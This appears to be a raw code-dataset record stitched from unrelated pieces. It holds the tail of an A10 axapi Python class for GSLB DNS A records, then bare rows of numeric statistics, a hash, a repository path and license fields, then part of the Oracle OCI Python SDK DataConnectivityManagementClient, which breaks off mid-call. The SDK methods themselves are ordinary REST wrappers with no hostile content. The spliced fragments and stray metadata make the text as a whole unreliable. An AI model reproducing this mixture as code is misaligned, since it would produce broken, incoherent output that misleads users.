"/axapi/v3/gslb/zone/{name}/service/{service-port}+{service-name}/dns-a-record/dns-a-record-srv/{svrname}"} :param DeviceProxy: The device proxy for REST operations and session handling. Refer to `common/device_proxy.py` URL for this object:: `https://<Hostname|Ip address>//axapi/v3/gslb/zone/{name}/service/{service_port}+{service_name}/dns-a-record`. """ def __init__(self, **kwargs): self.ERROR_MSG = "" self.required=[] self.b_key = "dns-a-record" self.a10_url="/axapi/v3/gslb/zone/{name}/service/{service_port}+{service_name}/dns-a-record" self.DeviceProxy = "" self.dns_a_record_ipv6_list = [] self.dns_a_record_ipv4_list = [] self.dns_a_record_srv_list = [] for keys, value in kwargs.items(): setattr(self,keys, value)
182.7
2,108
0.640941
922
7,308
5.041215
0.136659
0.077453
0.053787
0.077453
0.83778
0.801205
0.801205
0.784854
0.7642
0.7642
0
0.020411
0.121784
7,308
39
2,109
187.384615
0.703802
0.915298
0
0
0
0.076923
0.16065
0.138989
0
0
0
0
0
1
0.076923
false
0
0.076923
0
0.230769
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
1
1
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
55a8b8e5bdafb060f4edddb1871d854693099dfb
363,517
py
Python
src/oci/data_connectivity/data_connectivity_management_client.py
pabs3/oci-python-sdk
437ba18ce39af2d1090e277c4bb8750c89f83021
[ "Apache-2.0", "BSD-3-Clause" ]
null
null
null
src/oci/data_connectivity/data_connectivity_management_client.py
pabs3/oci-python-sdk
437ba18ce39af2d1090e277c4bb8750c89f83021
[ "Apache-2.0", "BSD-3-Clause" ]
null
null
null
src/oci/data_connectivity/data_connectivity_management_client.py
pabs3/oci-python-sdk
437ba18ce39af2d1090e277c4bb8750c89f83021
[ "Apache-2.0", "BSD-3-Clause" ]
null
null
null
# coding: utf-8 # Copyright (c) 2016, 2022, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license. from __future__ import absolute_import from oci._vendor import requests # noqa: F401 from oci._vendor import six from oci import retry, circuit_breaker # noqa: F401 from oci.base_client import BaseClient from oci.config import get_config_value_or_default, validate_config from oci.signer import Signer from oci.util import Sentinel, get_signer_from_authentication_type, AUTHENTICATION_TYPE_FIELD_NAME from .models import data_connectivity_type_mapping missing = Sentinel("Missing") class DataConnectivityManagementClient(object): """ Use the DCMS APIs to perform Metadata/Data operations. """ def __init__(self, config, **kwargs): """ Creates a new service client :param dict config: Configuration keys and values as per `SDK and Tool Configuration <https://docs.cloud.oracle.com/Content/API/Concepts/sdkconfig.htm>`__. The :py:meth:`~oci.config.from_file` method can be used to load configuration from a file. Alternatively, a ``dict`` can be passed. You can validate_config the dict using :py:meth:`~oci.config.validate_config` :param str service_endpoint: (optional) The endpoint of the service to call using this client. For example ``https://iaas.us-ashburn-1.oraclecloud.com``. If this keyword argument is not provided then it will be derived using the region in the config parameter. You should only provide this keyword argument if you have an explicit need to specify a service endpoint. :param timeout: (optional) The connection and read timeouts for the client. The default values are connection timeout 10 seconds and read timeout 60 seconds. This keyword argument can be provided as a single float, in which case the value provided is used for both the read and connection timeouts, or as a tuple of two floats. If a tuple is provided then the first value is used as the connection timeout and the second value as the read timeout. :type timeout: float or tuple(float, float) :param signer: (optional) The signer to use when signing requests made by the service client. The default is to use a :py:class:`~oci.signer.Signer` based on the values provided in the config parameter. One use case for this parameter is for `Instance Principals authentication <https://docs.cloud.oracle.com/Content/Identity/Tasks/callingservicesfrominstances.htm>`__ by passing an instance of :py:class:`~oci.auth.signers.InstancePrincipalsSecurityTokenSigner` as the value for this keyword argument :type signer: :py:class:`~oci.signer.AbstractBaseSigner` :param obj retry_strategy: (optional) A retry strategy to apply to all calls made by this service client (i.e. at the client level). There is no retry strategy applied by default. Retry strategies can also be applied at the operation level by passing a ``retry_strategy`` keyword argument as part of calling the operation. Any value provided at the operation level will override whatever is specified at the client level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. A convenience :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` is also available. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. :param obj circuit_breaker_strategy: (optional) A circuit breaker strategy to apply to all calls made by this service client (i.e. at the client level). This client uses :py:data:`~oci.circuit_breaker.DEFAULT_CIRCUIT_BREAKER_STRATEGY` as default if no circuit breaker strategy is provided. The specifics of circuit breaker strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/circuit_breakers.html>`__. :param function circuit_breaker_callback: (optional) Callback function to receive any exceptions triggerred by the circuit breaker. :param allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this client should allow control characters in the response object. By default, the client will not allow control characters to be in the response object. """ validate_config(config, signer=kwargs.get('signer')) if 'signer' in kwargs: signer = kwargs['signer'] elif AUTHENTICATION_TYPE_FIELD_NAME in config: signer = get_signer_from_authentication_type(config) else: signer = Signer( tenancy=config["tenancy"], user=config["user"], fingerprint=config["fingerprint"], private_key_file_location=config.get("key_file"), pass_phrase=get_config_value_or_default(config, "pass_phrase"), private_key_content=config.get("key_content") ) base_client_init_kwargs = { 'regional_client': True, 'service_endpoint': kwargs.get('service_endpoint'), 'base_path': '/20210217', 'service_endpoint_template': 'https://dataconnectivity.{region}.oci.{secondLevelDomain}', 'skip_deserialization': kwargs.get('skip_deserialization', False), 'circuit_breaker_strategy': kwargs.get('circuit_breaker_strategy', circuit_breaker.GLOBAL_CIRCUIT_BREAKER_STRATEGY) } if 'timeout' in kwargs: base_client_init_kwargs['timeout'] = kwargs.get('timeout') if base_client_init_kwargs.get('circuit_breaker_strategy') is None: base_client_init_kwargs['circuit_breaker_strategy'] = circuit_breaker.DEFAULT_CIRCUIT_BREAKER_STRATEGY if 'allow_control_chars' in kwargs: base_client_init_kwargs['allow_control_chars'] = kwargs.get('allow_control_chars') self.base_client = BaseClient("data_connectivity_management", config, signer, data_connectivity_type_mapping, **base_client_init_kwargs) self.retry_strategy = kwargs.get('retry_strategy') self.circuit_breaker_callback = kwargs.get('circuit_breaker_callback') def change_endpoint_compartment(self, endpoint_id, change_endpoint_compartment_details, **kwargs): """ The Endpoint will be moved to the desired compartment. :param str endpoint_id: (required) DCMS Endpoint id :param oci.data_connectivity.models.ChangeEndpointCompartmentDetails change_endpoint_compartment_details: (required) The details of change compartment action. :param str registry_id: (optional) DCMS registry id :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type None :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/change_endpoint_compartment.py.html>`__ to see an example of how to use change_endpoint_compartment API. """ resource_path = "/endpoints/{endpointId}/actions/changeCompartment" method = "POST" operation_name = "change_endpoint_compartment" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "registry_id", "if_match", "opc_request_id", "opc_retry_token" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "change_endpoint_compartment got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "endpointId": endpoint_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "registryId": kwargs.get("registry_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "if-match": kwargs.get("if_match", missing), "opc-request-id": kwargs.get("opc_request_id", missing), "opc-retry-token": kwargs.get("opc_retry_token", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, body=change_endpoint_compartment_details, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, body=change_endpoint_compartment_details, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def change_registry_compartment(self, registry_id, change_registry_compartment_details, **kwargs): """ The registry will be moved to the desired compartment. :param str registry_id: (required) The registry Ocid. :param oci.data_connectivity.models.ChangeRegistryCompartmentDetails change_registry_compartment_details: (required) The details of change compartment action. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type None :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/change_registry_compartment.py.html>`__ to see an example of how to use change_registry_compartment API. """ resource_path = "/registries/{registryId}/actions/changeCompartment" method = "POST" operation_name = "change_registry_compartment" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "if_match", "opc_request_id", "opc_retry_token" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "change_registry_compartment got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "if-match": kwargs.get("if_match", missing), "opc-request-id": kwargs.get("opc_request_id", missing), "opc-retry-token": kwargs.get("opc_retry_token", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=change_registry_compartment_details, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=change_registry_compartment_details, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def create_attach_data_asset(self, registry_id, endpoint_id, create_attach_data_asset_details, **kwargs): """ Attaches list of DataAssets to the given endpoint :param str registry_id: (required) The registry Ocid. :param str endpoint_id: (required) DCMS Endpoint id :param oci.data_connectivity.models.CreateAttachDataAssetDetails create_attach_data_asset_details: (required) Request body parameters to attach data asset to an private endpoint :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.AttachDataAssetInfo` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/create_attach_data_asset.py.html>`__ to see an example of how to use create_attach_data_asset API. """ resource_path = "/registries/{registryId}/endpoints/{endpointId}/actions/attachDataAssets" method = "POST" operation_name = "create_attach_data_asset" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "opc_retry_token", "if_match" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "create_attach_data_asset got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "endpointId": endpoint_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "opc-retry-token": kwargs.get("opc_retry_token", missing), "if-match": kwargs.get("if_match", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=create_attach_data_asset_details, response_type="AttachDataAssetInfo", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=create_attach_data_asset_details, response_type="AttachDataAssetInfo", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def create_connection(self, registry_id, create_connection_details, **kwargs): """ Creates a connection under an existing data asset. :param str registry_id: (required) The registry Ocid. :param oci.data_connectivity.models.CreateConnectionDetails create_connection_details: (required) The information needed to create a connection. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.Connection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/create_connection.py.html>`__ to see an example of how to use create_connection API. """ resource_path = "/registries/{registryId}/connections" method = "POST" operation_name = "create_connection" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "opc_retry_token" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "create_connection got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "opc-retry-token": kwargs.get("opc_retry_token", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=create_connection_details, response_type="Connection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=create_connection_details, response_type="Connection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def create_connection_validation(self, registry_id, create_connection_validation_details, **kwargs): """ Creates a connection validation. :param str registry_id: (required) The registry Ocid. :param oci.data_connectivity.models.CreateConnectionValidationDetails create_connection_validation_details: (required) The information needed to validate a connection. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. :param str endpoint_id: (optional) Endpoint Id used for getDataAssetFullDetails. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.ConnectionValidation` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/create_connection_validation.py.html>`__ to see an example of how to use create_connection_validation API. """ resource_path = "/registries/{registryId}/connectionValidations" method = "POST" operation_name = "create_connection_validation" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "opc_retry_token", "endpoint_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "create_connection_validation got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "endpointId": kwargs.get("endpoint_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "opc-retry-token": kwargs.get("opc_retry_token", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, body=create_connection_validation_details, response_type="ConnectionValidation", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, body=create_connection_validation_details, response_type="ConnectionValidation", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def create_connectivity_validation(self, registry_id, create_connectivity_validation_details, **kwargs): """ This endpoint is used to trigger validation of dataAsset, connection, schema, entity, dataOperationConfig :param str registry_id: (required) The registry Ocid. :param oci.data_connectivity.models.CreateConnectivityValidationDetails create_connectivity_validation_details: (required) Request body parameters to trigger connectivity validations :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. :param str endpoint_id: (optional) Endpoint Id used for getDataAssetFullDetails. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.ConnectivityValidation` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/create_connectivity_validation.py.html>`__ to see an example of how to use create_connectivity_validation API. """ resource_path = "/registries/{registryId}/actions/connectivityValidation" method = "POST" operation_name = "create_connectivity_validation" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "opc_retry_token", "endpoint_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "create_connectivity_validation got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "endpointId": kwargs.get("endpoint_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "opc-retry-token": kwargs.get("opc_retry_token", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, body=create_connectivity_validation_details, response_type="ConnectivityValidation", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, body=create_connectivity_validation_details, response_type="ConnectivityValidation", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def create_data_asset(self, registry_id, create_data_asset_details, **kwargs): """ Creates a data asset with default connection. :param str registry_id: (required) The registry Ocid. :param oci.data_connectivity.models.CreateDataAssetDetails create_data_asset_details: (required) The information needed to create a data asset. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.DataAsset` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/create_data_asset.py.html>`__ to see an example of how to use create_data_asset API. """ resource_path = "/registries/{registryId}/dataAssets" method = "POST" operation_name = "create_data_asset" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "opc_retry_token" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "create_data_asset got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "opc-retry-token": kwargs.get("opc_retry_token", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=create_data_asset_details, response_type="DataAsset", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( 